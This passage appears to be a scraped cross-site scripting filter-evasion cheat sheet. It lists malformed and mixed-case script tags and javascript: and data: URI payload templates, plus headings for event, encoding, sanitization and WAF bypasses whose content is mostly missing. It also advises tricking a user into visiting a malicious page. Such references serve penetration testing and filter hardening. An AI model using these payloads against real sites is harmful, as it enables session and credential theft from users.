Filter Evasion
Common Techniques
Script tag
Weak tag parsing bypass
<ScRiPt>...</sCrIpT>
<ScRiPt>... #unclosed tags
<script/[gibberish]>...<script>
<script [\n\r\t]>...</script>
<script [\x00 \x0D \x0A]>... </script [\x00 \x0D \x0A]>
<scr<script>ipt>...</scr<script>ipt>Common alternative tags
Require use interaction
<a href="javascript:[code]">show</a>
<a href="data:text/html;base64,[base64 payload]">show</a>
<form action="javascript:[code]><button>Click me</button></form>
<form id="f1"></form><button form="x" formaction="javascript:[code]">Click me</button>
<object data="javascript:[code]">
<object data="text/html:<script>[code]</script>">
<object data="data:text/html;base64,[base64 payload]">EvilCos
Can be downloaded here.
Host the page on a site that you control and trick a user to navigate to it or trigger a HTTP request to the malicious URL.
Events
Common HTML 4
Common HTML 5
Filter Bypass
Bypass filter that match every word that starts with on by exploiting browser dynamisms
Bypass filters by exploiting control characters not included in the /s regex selector
List of control characters commonly allowed after the equal sign or just before the event name to use to spoof filters
Keywords
Some filters try to detect common words used in XSS attacks such as alert, document, xhr, cookie etc...
Bypass by encoding
URL encoding, Unicode and CSS formats can be used directly inside HTML pages without needing native tools. These techniques can be combined with each other to form even more complex payloads
Bypass by constructing strings
Alternatives function sinks
Sanification Bypass
Remove tags
Escape quotes
Escape parenthesis
By invoking the throw function it is possible to encode the parenthesis characters. Since the payload is in a string it is possible to use all the obfuscation techniques described in the Keywords section
WAF Bypass
Google Chrome Payloads
Google XSS Audit Bypass
Chrome < v60 beta XSS-Auditor Bypass
Other Google Audit Bypass Payloads
Safari
Kona WAF (Akamai) Bypass
Wordfence
Incapsula WAF
Last updated